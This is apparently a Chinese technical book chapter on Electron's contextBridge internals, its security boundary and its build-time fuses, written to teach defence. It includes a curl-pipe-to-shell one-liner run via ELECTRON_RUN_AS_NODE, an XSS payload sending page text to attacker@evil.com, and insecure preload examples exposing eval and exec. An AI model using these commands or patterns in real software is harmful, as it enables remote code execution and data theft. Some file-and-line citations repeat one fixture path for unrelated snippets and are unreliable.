	if (exception.IsEmpty()) {
		const char err_msg[] =
			"An unknown exception occurred while sending a function return "
			"value over the context bridge, an error "
			"occurred but a valid exception was not thrown.";
		isolate->ThrowException(v8::Exception::Error(
			gin::StringToV8(isolate, err_msg).As<v8::String>()));
	} else {
		isolate->ThrowException(v8::Exception::Error(exception));
	}
	return;
	}
	DCHECK(!ret.IsEmpty());
	if (ret.IsEmpty())
	return;
	info.GetReturnValue().Set(ret.ToLocalChecked());

方向反了:func_owning_context → calling_context。parent_value 也换成了 func_owning_context->Global()。

为什么返回值转换要用 kDestination?要回答这个,先得看清此刻的栈是什么样:

preload 的那个函数已经执行完了,调用栈回到了 ProxyFunctionWrapper。这个栈帧不属于任何 JS 函数——它是一个 v8::FunctionCallback。如果 PassValueToOtherContext 在这里抛异常(返回值是 Proxy、含 symbol 键、深度超限),异常会作为"native 回调抛出"传播给调用者。

关键是要弄清 error_target 真正影响行为的地方。全文只有两处:

第一处,递归深度检查(:172-182)。 它在函数最开头,此时还没有任何分支切过 scope,当前 context 就是调用者的 context。所以它必须显式切:

electron_api_context_bridge.cc:173-175

	v8::Context::Scope error_scope(error_target == BridgeErrorTarget::kSource
									? source_context
									: destination_context);

第二处,兜底序列化的 gin::ConvertFromV8(:452-463)。 它也要显式切,因为 V8 的序列化器抛出的 DataCloneError 需要落在某个确定的 context 上。

electron_api_context_bridge.cc:455-458

	v8::Local<v8::Context> error_context =
		error_target == BridgeErrorTarget::kSource ? source_context
												: destination_context;
	v8::Context::Scope error_scope{error_context};

其余所有抛错点都不受 error_target 影响——因为它们都在自己的 v8::Context::Scope destination_context_scope(...) 里面抛,天然落在 destination。CreateProxyForAPI 的 Context::Scope、PassValueToOtherContextInner 各分支的 Context::Scope,都是这个模式。

所以 error_target 的作用可以精确地说成:为那两个"没有天然 scope"的抛错点指定归属。

那为什么返回值转换要用 kDestination?因为此刻 preload 的栈已经没了(函数执行完了),调用方(主世界的 JS)才是唯一能接到这个错误的地方。如果递归检查或序列化失败报在 owning context,错误会被抛进一个"已经没有 JS 帧"的执行流——V8 会把它作为"native 回调抛异常"处理,最终仍会传给调用者,但错误的 stack 会以 preload 为起点,而接收者从没在那里执行过。

BridgeErrorTarget 的注释把这个意思说得更简洁:"This can only occur when returning a value from a function as we convert the return value after the method has terminated and execution has been returned to the caller. In this scenario the error will the be catchable in the 'destination' context."

翻成实操语言:这个转换错误发生时,能 catch 它的只有调用方(destination)。如果错误对象建在 source,它的 .stack/.message 会在 source context 的语义下初始化,调用方 catch 到时看到的错误信息可能缺失。建在 destination,调用方拿到的就是一个"本地的"错误。

所以 kDestination 不是"为了让错误能抛出去"(无论是哪个 context 都能抛),而是"为了让错误对象在接收方看来是正常的"。

这段代码还有个细节:maybe_return_value.ToLocalChecked() 在 did_error 为假的前提下调用。但上面有个 if (maybe_return_value.IsEmpty()) return; 的守卫(:579-580),所以安全。

15.5.4 第四次跨界:被跳过的异常对象

第四次是"函数体内抛出异常对象本身要不要过桥"——答案是不过桥。异常在 15.5.2 里已经被降级成字符串,ThrowException 造的是一个全新的 Error,只带 message。

这意味着:

// preload
class MyError extends Error { constructor(m) { super(m); this.code = 'E_CUSTOM'; } }
contextBridge.exposeInMainWorld('api', {
	fail() { throw new MyError('boom'); }
});
// 主世界
try { window.api.fail(); } catch (e) {
	e instanceof MyError  // false —— MyError 在主世界根本不存在
	e.code                // undefined
	e.message             // 'boom'
	e.stack               // 主世界的栈,从 ThrowException 那一行开始
}

三个字段丢失、原型丢失、栈重写。 这是 contextBridge 最容易让人失望的地方,而且它无法绕过——没有"保留错误类型"的选项。

可行的做法是在 API 层自己编码:

spec/fixtures/apps/libuv-hang/preload.js:3-6

contextBridge.exposeInMainWorld('api', {
	async fail() {
	try { /* ... */ }
	catch (e) { return { ok: false, code: e.code, message: e.message }; }
	}
});

把错误变成返回值的一部分,这样它走的是普通对象过桥路径,code 能保留。代价是调用方要用 if (!res.ok) 而不是 try/catch——这也是为什么 IPC 层的 invoke 用了同样的模式(第 14 章 14.6 的 { result } / { error } 线协议)。

15.5.5 一个测试揭示的真相

spec:387 那个测试值得单独看:

api-context-bridge.spec.ts:387-394

it('should proxy promises correctly when Function.prototype has been overridden in the main world', async () => {
	// preload: contextBridge.exposeInMainWorld('example', {
	//            getPromise: () => Promise.resolve('proxied-ok') });
	const result = await callWithBindings((root) => {
	return new Promise((resolve) => {
	let observed = false;
	const original = Function.prototype.bind;
	Function.prototype.bind = new Proxy(original, {
		apply(target, thisArg, args) { observed = true; return Reflect.apply(...) }
	});
	root.example.getPromise().then((v) => {
		Function.prototype.bind = original;
		resolve({ observed, value: v });
	});
	});
	});
	expect(result).toEqual({ observed: false, value: 'proxied-ok' });
});

主世界把 Function.prototype.bind 换成了一个会记录调用的 Proxy,然后调用 root.example.getPromise()。如果 bridge 内部任何一步用了 .bind(或者 .call、.apply、Promise.prototype.then 的 JS 实现),observed 就会是 true。

结果是 false。整条代理链上没有任何一次 JS 层的函数调用——func->Call、source_promise->Then、v8::Function::New 全是 V8 的 C++ API。

这个性质的安全意义:页面无法通过 patch 原型来拦截或篡改 bridge 的行为。 这比"bridge 做了参数检查"强得多——它意味着 bridge 的语义在页面完全失控的情况下仍然是确定的。

但反过来也有一面:页面也无法通过 patch 原型来调试 bridge。 想在 window.api.fn 外面套一层日志,只能重新包装(const orig = window.api.fn; window.api = ... 而后者又被 readonly 挡住)。这是"安全换可调试性"的典型取舍。


15.6 递归、循环与 1000 这个数字

electron_api_context_bridge.cc:62

static int kMaxRecursion = 1000;

三个细节:

它是 static int,不是 constexpr。 一个可变的全局变量——理论上可以被改,但文件里没有任何地方改它,也没有导出的 setter。这个写法多半是历史遗留(早期版本可能有测试会改它)。它的副作用是:编译器不能把它当常量折叠,每次递归检查都要读内存。

检查在函数最开头,先于原始值直通。

electron_api_context_bridge.cc:172-179

	if (recursion_depth >= kMaxRecursion) {
	v8::Context::Scope error_scope(error_target == BridgeErrorTarget::kSource
									? source_context
									: destination_context);
	isolate->ThrowException(v8::Exception::TypeError(
		gin::StringToV8(isolate,
						"Electron contextBridge recursion depth exceeded.  "
						"Nested objects "
						"deeper than 1000 are not supported.")));
	return {};
	}

放在最前面意味着即使是一个原始值,深度超限也会抛。这在实际中不会发生(原始值不会加深递归),但顺序上是干净的第一道闸。

错误信息里有两个连续空格("exceeded. Nested"),历史遗留的拼接痕迹,不用在意。

抛的是 TypeError 而不是 Error——这与其他地方的错误不一致(DeepFreeze 失败是静默,ExposeAPI 的重名是 ThrowError 即 Error)。用 TypeError 大概是因为"值的嵌套结构不合法"更像类型问题。

recursion_depth 的递增点。 看代码,只有四个地方传 recursion_depth + 1:

  • 数组元素(:395-398)
  • 普通对象(:443-446,传给 CreateProxyForAPI)
  • CreateProxyForAPI 里的属性值(:715-718)
  • 函数 getter/setter(:679-694,硬编码传 1)

最后一条有意思:getter/setter 的深度硬编码为 1,不管当前多深。理由大概是"属性描述符里的 getter 一定是一个扁平的值,不会继续嵌套",但这是一个可以被构造出反例的假设——一个 getter 返回自身就能绕过深度限制:

const o = { get self() { return o; } };

不过 support_dynamic_properties 在生产路径下是 false,所以这段基本不跑。

15.6.1 循环依赖靠 cache 切断,但有两处漏洞

正常的循环对象是安全的,因为 CreateProxyForAPI 在开头就缓存:

const o = { name: 'x' }; o.self = o;
contextBridge.exposeInMainWorld('x', { o });
// 主世界:x.o.self === x.o  → true

x.o.self 读取时,源对象 o 已经在 cache 里映射到 proxy,直接命中返回。identity 保住了,递归也止住了——这两个目标在这里是一致的。

但有两个例外:

例外一:自引用数组(15.3.6 已详述)。 CacheProxiedObject 在循环之后,所以会一路递归到 1000 层。

例外二:两个对象互相引用但不构成"父-子"关系时,取决于谁先被缓存。

const a = {}, b = {};
a.b = b; b.a = a;
contextBridge.exposeInMainWorld('x', { a, b });
// x.a.b.a === x.a  → true
// x.b 是独立的 proxy,x.b.a !== x.a  ← ?

关键在 CreateProxyForAPI 的遍历顺序:先处理 a,缓存 a→proxyA,然后 a.b 过桥,缓存 b→proxyB;再处理 b,缓存命中 proxyB,所以 x.b === x.a.b 为真。而 proxyB.a 在创建时已经命中了 a 的缓存,指向 proxyA。所以 x.b.a === x.a 也成立。

只要顶层 object_cache 是同一个,整棵图的 identity 就是一致的。 而顶层 cache 在 PassValueToOtherContext 里创建(:484),对整次调用共享。所以 exposeInMainWorld('x', { a, b }) 里两个字段能互相看到对方的 proxy。

但如果分两次暴露:

contextBridge.exposeInMainWorld('x', { a });
contextBridge.exposeInMainWorld('y', { b });
// x.a.b !== y.b   ← 两次调用两个 cache

这就是"缓存生命周期 = 一次 PassValueToOtherContext 调用"的直接后果。

15.6.2 1000 层的真实含义

1000 层深度对绝大多数 API 都够。但有一类场景会撞上:把一棵 DOM 树的简化表示传过去。

function snapshot(el) {
	return { tag: el.tagName, children: [...el.children].map(snapshot) };
}
contextBridge.exposeInMainWorld('api', { snapshot });
// window.api.snapshot(document.body)

一个正常网页的 DOM 深度通常 15–30 层,但 snapshot 每次调用都会构造一棵新树,而 object_cache 每次调用都新建——所以递归深度是真实的树深度,不是去重后的。1000 层足够,但如果页面有深嵌套的 <div>(某些图表库、虚拟滚动容器会造出几百层),就危险了。

更危险的是每次调用都重新序列化整棵树。一个 5000 节点的 DOM,每次 snapshot() 跑 5000 次属性复制 + 5000 次 GetIdentityHash,主线程会卡几十毫秒。这是"过桥很贵"的一个具体例子,15.13 会算。


15.7 executeInMainWorld:把函数文本送过去

前面讲的都是"值"过桥。executeInMainWorld 过的是代码:

contextBridge.executeInMainWorld(executionScript)

preload-tests.js:39-41

const result = contextBridge.executeInMainWorld({
	func: (a, b) => a + b,
	args: [1, 2]
});
// result === 3

文档标注它 Experimental。实现是 ExecuteInWorld(:939-1135),近 200 行,是全文件最长的单个函数。

15.7.1 五步流程

1. 取 func → FunctionProtoToString → 得到源码字符串
2. GetTargetContext(world_id)
3. 在 target 里编译 "(" + 源码 + ")"
4. 参数从 source 过桥到 target,调用编译出的函数
5. 返回值从 target 过桥回 source

第 1 步是关键:

electron_api_context_bridge.cc:973-980

	v8::Local<v8::String> serialized_function;
	if (!func->FunctionProtoToString(isolate->GetCurrentContext())
			.ToLocal(&serialized_function)) {
	gin_helper::ErrorThrower{isolate}.ThrowError(
		"Failed to serialize function");
	return v8::Undefined(isolate);
	}
	CHECK(gin::Converter<std::string>::FromV8(isolate, serialized_function,
											&function_str));

FunctionProtoToString 返回的是函数的源码文本,不是字节码。这意味着:

闭包一定丢。 函数体里引用的外部变量在目标 context 里不存在:

const secret = 42;
contextBridge.executeInMainWorld({
	func: () => secret   // ReferenceError: secret is not defined
});

这是特性,不是 bug。 文档明说:"This function will be serialized which means that any bound parameters and execution context will be lost."

原生函数一定失败。 Math.max 的 FunctionProtoToString 是 "function max() { [native code] }",编译它会得到语法错误([native code] 不是合法 JS)。所以只能传用户写的 JS 函数。

箭头函数和普通函数都行,因为源码文本本身是完整的。但 async 函数返回的是 Promise,而 Promise 会被过桥(第 5 步),所以 await 能在主世界正常工作。

15.7.2 (%s) 这个括号

electron_api_context_bridge.cc:1004-1006

	std::string return_func_code = absl::StrFormat("(%s)", function_str);
	maybe_compiled_script = v8::Script::Compile(
		target_context, gin::StringToV8(isolate, return_func_code));

为什么要包一层括号?因为 FunctionProtoToString 的输出是函数声明/表达式的源码,而 v8::Script::Compile 编译的是脚本。如果直接把 function foo() {} 丢进去,编译出来是一个函数声明语句,Run() 的返回值是 undefined——声明不产生值。

包上括号后,(function foo() {}) 变成函数表达式,Run() 返回那个函数。

同理,(a, b) => a + b 包成 ((a, b) => a + b) 也是合法的表达式。

然后有一个检查:

electron_api_context_bridge.cc:1043-1048

	if (!script_result->IsFunction()) {
	isolate->ThrowException(v8::Exception::Error(
		gin::StringToV8(isolate,
						"Expected script to result in a function but a "
						"non-function type was found")));
	return v8::Undefined(isolate);
	}

如果源码是 class Foo {}(FunctionProtoToString 对类返回 "class Foo {}"),包成 (class Foo {}) 是合法的类表达式,Run() 返回一个函数(类就是函数)。所以类能通过这个检查——但调用 new 出来的实例时,返回值的过桥会失败(类的实例是普通对象,能过,但方法在原型上会丢)。

15.7.3 参数的过桥方向是"反"的

electron_api_context_bridge.cc:1064-1070

	for (uint32_t i = 0; i < args_length; ++i) {
	v8::Local<v8::Value> arg;
	if (!args_array->Get(source_context, i).ToLocal(&arg)) { ... }
	auto proxied_arg = PassValueToOtherContext(
		isolate, source_context, target_context, arg,
		source_context->Global(), support_dynamic_properties,
		BridgeErrorTarget::kSource, &object_cache);
	...
	}

方向是 source → target,与"调用一个从 preload 拿来的函数"方向相同。这与 ProxyFunctionWrapper 里的参数转换一致。

但注意 support_dynamic_properties 在这里被硬编码为 false(:1058):

electron_api_context_bridge.cc:1058

	bool support_dynamic_properties = false;

所以 executeInMainWorld 传过去的对象,其 getter 一定被求值。这与 exposeInMainWorld 的默认行为一致。

返回值的方向:

electron_api_context_bridge.cc:1119-1121

	maybe_cloned_result = PassValueToOtherContext(
		isolate, target_context, source_context, result,
		target_context->Global(), false, BridgeErrorTarget::kSource);

target → source,kSource(错误报在 target,即被调用的那一侧)。这里的选择与 ProxyFunctionWrapper 相反——因为 executeInMainWorld 是同步调用,调用方还在栈上等着,能 catch。所以错误报在"执行侧"是合理的(错误是从那里产生的)。

15.7.4 与 exposeInMainWorld 的四个差别

exposeInMainWorldexecuteInMainWorld
方向单向(preload → 主世界),之后双向双向,但只在这一刻
生命周期持久(挂到 window 上)一次性
参数只能是可复制的值/函数同左,但函数会被序列化
闭包保留(函数代理会回原 context 执行)丢失(在目标 context 重新编译)

第三条最容易被忽略:exposeInMainWorld 传的函数保留闭包,因为代理调用时 func->Call 在 owning context 里执行原函数。而 executeInMainWorld 传的函数丢失闭包,因为它只是把源码文本搬过去重新编译。

这两者的差异在实践中很重要:

// ✅ 闭包保留,每次调用都读最新的 count
let count = 0;
contextBridge.exposeInMainWorld('api', {
	inc() { return ++count; }
});
// ❌ 闭包丢失,count 不存在
let count2 = 0;
contextBridge.executeInMainWorld({
	func: () => ++count2
});

executeInMainWorld 的正确用法是"传一个自包含的、只依赖参数的纯函数"——比如在主世界做一次 DOM 操作、读一次 navigator 信息、或者调一个只有主世界才有的 API:

const ua = contextBridge.executeInMainWorld({
	func: () => ({ ua: navigator.userAgent, dpr: devicePixelRatio })
});

这个用法比 exposeInMainWorld 更适合"一次性嗅探",因为它不需要在主世界留下任何全局属性。


15.8 安全模型的真实边界

前面七节讲的是"怎么搬"。这一节讲"搬过去之后,边界在哪里"——这是最容易出错的地方,因为 contextBridge 的名字暗示的比它实际提供的多。

15.8.1 桥给的是"能力调用权",不是"对象"

先做一个思想实验。exposeInMainWorld('api', { readFile }) 之后,主世界拿到了什么?

看起来是一个对象,有一个 readFile 方法。但它不是 preload 里那个对象。它是:

  • 一个新的空 v8::Object,在主世界里创建
  • readFile 是一个新的 v8::Function,也在主世界里创建(v8::Function::New(destination_context, ...))
  • 这个新函数的 data slot 里藏着原函数(v8::Local 引用)
  • 调用它时,ProxyFunctionWrapper 把参数搬回 preload,调原函数,再把结果搬回来

所以主世界拿到的是一个调用凭据,不是一个对象句柄。它不能:

  • 读到 preload 侧对象的其他属性(Object.getOwnPropertyNames 只看到复制过来的那些)
  • 通过 api.readFile.constructor 摸到 preload 的 Function
  • 通过 api.readFile.__proto__ 摸到 preload 的 Function.prototype

最后一条特别值得验证。api.readFile 是在主世界 v8::Function::New 创建的,它的 [[Prototype]] 是主世界的 Function.prototype。所以:

window.api.readFile.constructor === Function        // true(主世界的 Function)
window.api.readFile.constructor === 隔离世界的 Function  // 拿不到后者

Function.prototype.polluted = 1 会影响 api.readFile(因为它继承自主世界的原型),但影响不到 preload 里的原函数。原型污染是单向的:页面污染自己,污染不到 preload。

反方向也成立:preload 里改 Function.prototype 也影响不到主世界的 proxy,因为 proxy 是用主世界的原型创建的。

这个对称性是这个设计最强的性质。它意味着两个世界可以各自污染自己的原型,互不影响——这在共享同一个 isolate 的前提下是相当不容易的。

15.8.2 send: ipcRenderer.send 的两种危险

context-isolation.md:59-60 里有一段罕见的直白批评:

// ❌ Bad code
contextBridge.exposeInMainWorld('myAPI', {
	send: ipcRenderer.send
})

It directly exposes a powerful API without any kind of argument filtering. This would allow any website to send arbitrary IPC messages, which you do not want to be possible.

这里有两层危险,文档只讲了第一层。

第一层:语义危险——channel 不受限。

ipcRenderer.send 的第一个参数是 channel。把它原样暴露,等于把"发任意 channel 的任意消息"这个能力交给了页面。主进程那边如果有 ipcMain.on('exec', ...) 之类的处理器,页面就能调它。

这不是 contextBridge 的漏洞——contextBridge 忠实地传递了能力。危险在你暴露了什么,不在桥。

第二层:技术危险——this 丢失。

ipcRenderer.send 是一个 gin 绑定的 native 方法,它内部通过 info.This() 拿 ipcRenderer 对象。拆出来暴露之后,别名调用时 this 是 undefined(严格模式)或 globalThis(非严格)。

一个 gin native 方法如果依赖 info.This(),此时会拿到错的接收者。ipcRenderer 的 send 实现(第 14 章 14.1 讲过)用的是 gin_helper::EventEmitterMixin 的成员,靠 info.This() 反查 C++ 对象。所以拆出来调用可能抛错或行为异常。

但注意:这是加固前的实现细节,不是契约。文档不该依赖它。真正该记住的是第一层——语义危险,它永远成立。

正确的做法(文档给的):

// ✅ Good code
contextBridge.exposeInMainWorld('myAPI', {
	loadPreferences: () => ipcRenderer.invoke('load-prefs')
})

一个方法对一个 channel。 这条规则的价值不在"防止页面发别的 channel"(页面本来就发不了,因为它拿不到 ipcRenderer),而在把主进程的处理面收窄到一个可审计的集合。你可以数清 preload 暴露了几个 channel,然后逐个审主进程的 handler。

15.8.3 原型链逃逸:为什么这条路走不通

一个常见的担忧:主世界拿到 proxy 函数后,能不能通过 constructor.constructor 拿到隔离世界的 Function,从而在隔离世界里执行任意代码?

const F = window.api.fn.constructor.constructor;  // 主世界的 Function
F('return process')()                              // 在主世界执行,process 不存在

走不通,原因有三层:

第一层:constructor 走主世界原型链。 fn.constructor 是主世界 Function.prototype.constructor,即主世界的 Function。用它造出来的函数在主世界执行,process 不在作用域里。

第二层:即使拿到隔离世界的 Function,也没有意义。 隔离世界的 Function 造出来的函数在隔离世界执行,能访问 process——但要拿到它才行。而 contextBridge 从没有把隔离世界的任何函数对象原样递出去,递出去的全是新造的 proxy。

第三层:__proto__ 与 constructor 都被 DeepFreeze 间接加固。 冻结的 proxy 对象上不能加属性、不能改属性。虽然 __proto__ 的 getter 仍然可用(它在 Object.prototype 上),但读出来的是主世界的 Object.prototype。

所以"原型链逃逸"在 contextIsolation: true + contextBridge 的配置下不成立。

真正能逃出去的是别的东西。 三个真实的逃逸面:

逃逸面一:暴露了 require 或 eval 这类"能加载任意代码"的能力。

spec/fixtures/apps/libuv-hang/preload.js:3-6

contextBridge.exposeInMainWorld('api', {
	require,                    // ❌ 整个 Node
	eval: (s) => eval(s),       // ❌ 在隔离世界执行任意代码
	readFile: fs.readFileSync   // ❌ 任意文件读
});

contextBridge 会忠实地把这些搬过去。第一个甚至可能是空对象(因为 require 的 own enumerable properties 很少),但 eval 和 readFileSync 会完美工作。

逃逸面二:把 DOM 元素和"能操作 DOM 的方法"一起暴露。

spec/fixtures/apps/libuv-hang/preload.js:3-5

contextBridge.exposeInMainWorld('api', {
	getBody: () => document.body,
	setHTML: (el, html) => { el.innerHTML = html; }   // ❌ 等于给页面一个 CSP 绕过
});

第二个方法看起来无害,但它是在隔离世界执行的 innerHTML 赋值。如果隔离世界的 CSP 比主世界宽松(有些应用会为 preload 放宽),这就是一条绕过 CSP 的路。

逃逸面三:暴露的方法接受"回调 + 立即调用"。

spec/fixtures/apps/libuv-hang/preload.js:3-6

contextBridge.exposeInMainWorld('api', {
	withContext(fn) {
	const secret = getSecret();
	return fn(secret);      // ❌ fn 是主世界的函数,在隔离世界的栈上执行
	}
});

fn 是一个从主世界代理过来的函数。在隔离世界调用它时,ProxyFunctionWrapper 会把 secret 搬回主世界——这正是预期行为。但如果 fn 内部抛异常,异常会带着隔离世界的栈信息回到主世界(15.5.2 的降级只保留 message,但 message 里可能包含路径)。

更微妙的是重入:fn 在主世界执行时,可以再次调用 window.api 的其他方法。此时 preload 的栈还在(withContext 的栈帧没退),于是一个"preload 调主世界、主世界调 preload"的循环形成。深度没有限制——kMaxRecursion 管的是值的嵌套,不是调用的嵌套。

这是一个真实的栈溢出风险:

spec/fixtures/apps/libuv-hang/preload.js:3-6

// preload
contextBridge.exposeInMainWorld('api', {
	recurse(fn) { return fn(); }
});
// 主世界
function loop() { return window.api.recurse(loop); }
loop();  // RangeError: Maximum call stack size exceeded

栈会在两个世界的转换层之间来回堆叠,直到爆掉。没有守卫。

15.8.4 为什么 contextBridge 挡不住 XSS

这是最需要说清的一点。假设页面有一个 XSS 漏洞,攻击者能在主世界执行任意 JS。他能做什么?

他能做的事:调用所有已暴露的 API,用任意参数。

// 攻击者的 payload
window.api.deleteAllFiles();
window.api.sendEmail('attacker@evil.com', document.body.innerText);

contextBridge 完全挡不住这些。它保证了"攻击者拿不到 require",但如果 preload 暴露了 deleteAllFiles,攻击者就能删文件。

这就是为什么"能力最小化"是唯一有效的防线:

  • 不要暴露 deleteAll,暴露 deleteOne(id) 并校验 id 的格式
  • 不要暴露 sendEmail(to, body),暴露 sendCurrentReport() 并让主进程决定收件人
  • 不要暴露 readFile(path),暴露 readConfig() 并让 preload 写死路径

校验必须在 preload 或主进程做,不能在主世界做。 主世界的校验代码攻击者能改。

一个具体的反面例子:

spec/fixtures/apps/libuv-hang/preload.js:3-4

// ❌ 危险:把任意路径透给主进程
contextBridge.exposeInMainWorld('api', {
	readFile: (p) => ipcRenderer.invoke('read-file', p)
});

即使主进程的 handler 做了 if (!p.startsWith(appDir)) throw,攻击者仍能读 appDir 下的所有文件——包括 .env、私钥、用户数据。正确的做法是枚举允许的文件,而不是校验路径前缀(路径前缀可以被 ../、符号链接、Windows 短文件名绕过)。

15.8.5 暴露面设计的六条规则

把上面几节收敛成可执行的规则:

规则一:一个方法一个 channel。 不接受 channel 参数。channel 名写死在 preload 里,攻击者改不了。

规则二:参数白名单,不做黑名单。 "拒绝 .." 不如 "只接受 [a-z0-9-]{1,32}"。黑名单永远有漏。

规则三:不要在 preload 里 eval 或 new Function。 这等于把隔离世界变成主世界的延伸。文档字符串拼接尤其危险。

规则四:返回值只放数据,不放句柄。 不要返回 DOM 元素、不返回 Function、不返回 Blob(除非确实需要——Blob 会让页面拿到一个能读文件内容的凭据)。

规则五:接受回调时要意识到重入。 如果 preload 的方法调用主世界传进来的回调,就要假设回调里会重入任何 API。加深度计数或者干脆不接受回调(改成返回 Promise)。

规则六:把"危险"关在 preload 里,只暴露"意图"。 这个是最根本的:

spec/fixtures/apps/libuv-hang/preload.js:3-6

// ❌ 暴露机制
contextBridge.exposeInMainWorld('api', {
	exec: (cmd) => child_process.exec(cmd)
});
// ✅ 暴露意图
contextBridge.exposeInMainWorld('api', {
	openLogFolder: () => shell.openPath(logDir)
});

两者的安全性差距不在 contextBridge,而在"谁决定执行什么"。


15.9 fuses:打包期的九个开关

contextBridge 管的是"运行时的值怎么流动"。还有一层完全不同的加固:打包时把某些能力从二进制里彻底关掉。

这就是 fuses。fuses.json5:2-9 只有 14 行:

{
	"_comment": "Modifying the fuse schema in any breaking way should result in the _version prop being incremented.  NEVER remove a fuse or change its meaning, instead mark it as removed with 'r'",
	"_schema": "0 == off, 1 == on, r == removed fuse",
	"_version": 1,
	"run_as_node": "1",
	"cookie_encryption": "0",
	"node_options": "1",
	"node_cli_inspect": "1",
	"embedded_asar_integrity_validation": "0",
	"only_load_app_from_asar": "0",
	"load_browser_process_specific_v8_snapshot": "0",
	"grant_file_protocol_extra_privileges": "1",
	"wasm_trap_handlers": "1"
}

九项,写的是默认值。这里的第一件事就要说清:这些值不是给开发者看的配置,是给"翻转器"看的初始状态。

15.9.1 fuse 的机制:为什么是"烧"而不是"配"

fuse 不是配置文件,也不是环境变量。它的实现方式是在二进制里留一段特征字节串,工具在打包时定位并改写它。所以:

第一,它是不可逆的。 改了就是改了,运行时没有任何 API 能改回来。这正是它存在的意义——如果攻击者能改回来,它就没有价值。

第二,它是"只能关"的。 注意 schema 注释:"NEVER remove a fuse or change its meaning, instead mark it as removed with 'r'"。一个 fuse 一旦发布就永久占用一个位置,即使它的功能被移除。原因是"改语义"会让旧工具在旧二进制上做错事——一个 2024 年的 fuses 工具翻 2026 年的二进制时,必须能安全地跳过不认识的项。

第三,默认值多数倾向于"开"。 九个里有五个是 "1"(run_as_node、node_options、node_cli_inspect、grant_file_protocol_extra_privileges、wasm_trap_handlers),四个是 "0"。这是"默认不破坏兼容性"的取向:Electron 的默认产物应该和过去行为一致,硬化是开发者的主动选择。

九个 fuse 的实际消费点(grep fuses::Is 的结果):

fuse默认消费点数主要位置
run_as_node15process_util.cc:44、三个平台的 electron_main_*
cookie_encryption01net/network_context_service.cc:115
node_options14node_bindings.cc:484、:491、:736、node_main.cc:130
node_cli_inspect12node_bindings.cc:457、:906
embedded_asar_integrity_validation03electron_main_delegate.cc:128 等
only_load_app_from_asar02app_package.cc:92、asar_util.cc:54
load_browser_process_specific_v8_snapshot01electron_main_delegate.cc:401
grant_file_protocol_extra_privileges16electron_content_client.cc:151 等
wasm_trap_handlers13electron_browser_main_parts.cc:307 等

15.9.2 run_as_node:最该关的一个

ELECTRON_RUN_AS_NODE=1 yourapp 会让你的应用变成一个普通的 Node 进程——不跑你的 app,只跑 node。

process_util.cc:43-46

bool IsRunningAsNode() {
	static bool result = fuses::IsRunAsNodeEnabled() &&
					base::Environment::Create()->HasVar(kRunAsNode);
	return result;
}

这是 process_util.cc:44。一个环境变量加 fuse 开启,就足以把打包好的应用变成"任意 Node 脚本执行器"。攻击者只要能设环境变量,就能:

ELECTRON_RUN_AS_NODE=1 /path/to/YourApp -e "require('child_process').execSync('curl evil.sh|sh')"

这几乎等价于任意代码执行,而且绕过所有你的应用层校验(因为你根本没跑应用)。

所以生产打包必须关掉它。代价是:你的应用不能再借自己的二进制跑 Node 脚本(有些构建脚本、CLI 工具会这么做)。

三个平台各有一个入口点检查它:

electron_main_linux.cc:55

if (electron::fuses::IsRunAsNodeEnabled() && IsEnvSet(electron::kRunAsNode)) {

Windows 的 electron_main_win.cc:154 与 macOS 的 electron_main_mac.cc:73 是同样结构。这是"同一判断写三遍"的典型——因为 main 是平台特定的,没有共享层。

15.9.3 node_options 与 node_cli_inspect

这两个 fuse 管的是"通过环境变量和命令行给 Node 塞参数"。

node_options 关掉之后(node_bindings.cc:484):

	if (env->HasVar("NODE_EXTRA_CA_CERTS")) {
	if (!electron::fuses::IsNodeOptionsEnabled()) {
	LOG(WARNING) << "NODE_OPTIONS ignored due to disabled nodeOptions fuse.";
	env->UnSetVar("NODE_EXTRA_CA_CERTS");
	}
	}

注意它连 NODE_EXTRA_CA_CERTS 一起清了——因为这个变量也是"注入自定义 CA"的入口,能让攻击者做中间人。

NODE_OPTIONS 本身不是"全禁",而是白名单过滤:

	static constexpr auto debug_options = base::MakeFixedFlatSet<std::string_view>({
	"--inspect", "--inspect-brk", "--inspect-brk-node", "--inspect-port",
	"--inspect-publish-uid", "--experimental-network-inspection",
	"--experimental-inspector-network-resource", "--experimental-transform-types",
	});
	static constexpr auto options = base::MakeFixedFlatSet<std::string_view>({
	"--diagnostic-dir", "--dns-result-order", "--no-deprecation",
	"--throw-deprecation", "--trace-deprecation", "--trace-warnings",
	"--no-experimental-global-navigator",
	});
	static constexpr auto unpacked_options = base::MakeFixedFlatSet<std::string_view>({
	"--expose-internals",
	});
	if (debug_options.contains(option))
	return electron::fuses::IsNodeCliInspectEnabled();
	if (unpacked_options.contains(option))
	return !electron::api::App::IsPackaged();
	return options.contains(option);

三档:

  • 调试类:要 node_cli_inspect fuse 开。
  • --expose-internals:要求非打包(不管 fuse)。App::IsPackaged() 是运行时判断,比 fuse 更严——打包后即使 fuse 开着也不允许。
  • 诊断类:白名单内(--trace-warnings 等无害项),永远允许。

node_cli_inspect 还有第二个作用(node_bindings.cc:906):

	if (!electron::fuses::IsNodeCliInspectEnabled()) {
	// If --inspect and friends are disabled we also shouldn't listen for SIGUSR1
	env_flags |= node::EnvironmentFlags::kNoStartDebugSignalHandler;
	}

关掉它还会关掉 SIGUSR1 触发的调试器启动(Node 的传统行为:kill -USR1 <pid> 开启 inspector)。这是一条容易被忘的入口——只关 --inspect 而不关 SIGUSR1,等于留了后门。

建议:生产环境两个都关。

15.9.4 only_load_app_from_asar:把加载路径钉死

默认关闭时,Electron 按顺序找:

app_package.cc:94-98

	if (only_asar) {
	candidates = {FILE_PATH_LITERAL("app.asar")};
	} else {
	candidates = {FILE_PATH_LITERAL("app.asar"), FILE_PATH_LITERAL("app"),
				FILE_PATH_LITERAL("default_app.asar")};
	}

三个候选:app.asar(打包的归档)、app(未打包的目录)、default_app.asar(兜底)。

app 这个候选是攻击面:如果你把所有文件都放进了 asar,但 resources/app/ 目录存在(哪怕是一个空的),Electron 会优先加载目录而不是 asar。攻击者只要能写 resources/,就能塞一个 app/ 进去替换你的整个应用。

打开这个 fuse 之后,只剩 app.asar 一个候选,而且多了一道检查:

app_package.cc:103-104

	if (only_asar && !asar::GetOrCreateAsarArchive(path))
	continue;

它必须真的是一个能被解析的 asar 归档,否则跳过。

更彻底的一层在 asar_util.cc:53-56:

bool IsRequiredAppArchive(const base::FilePath& path) {
	if (!electron::fuses::IsOnlyLoadAppFromAsarEnabled())
	return false;
	...
	return path == s_paths->first || path == s_paths->second;
}

注释解释了它的巧妙之处:

Decided without looking at the disk, so that every process agrees: a directory at this path is then refused when opened, not read in place of the archive. Both spellings are accepted because the module loader asks about the resolved path.

